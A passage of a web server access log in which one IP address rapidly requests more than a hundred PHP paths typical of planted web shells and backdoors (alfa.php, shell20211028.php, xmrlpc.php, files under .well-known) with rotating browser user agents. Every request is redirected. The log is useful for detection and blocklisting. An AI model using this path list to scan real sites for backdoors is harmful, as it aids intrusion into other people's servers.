(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:30 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:30 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:30 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:30 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:30 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:30 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:31 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:32 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:33 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:34 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:35 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:36 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:37 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:20:38 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:39 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:39 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:39 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:39 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:39 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:40 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:41 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:42 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:43 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:43 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:43 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:43 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:43 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:43 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:44 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:45 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) 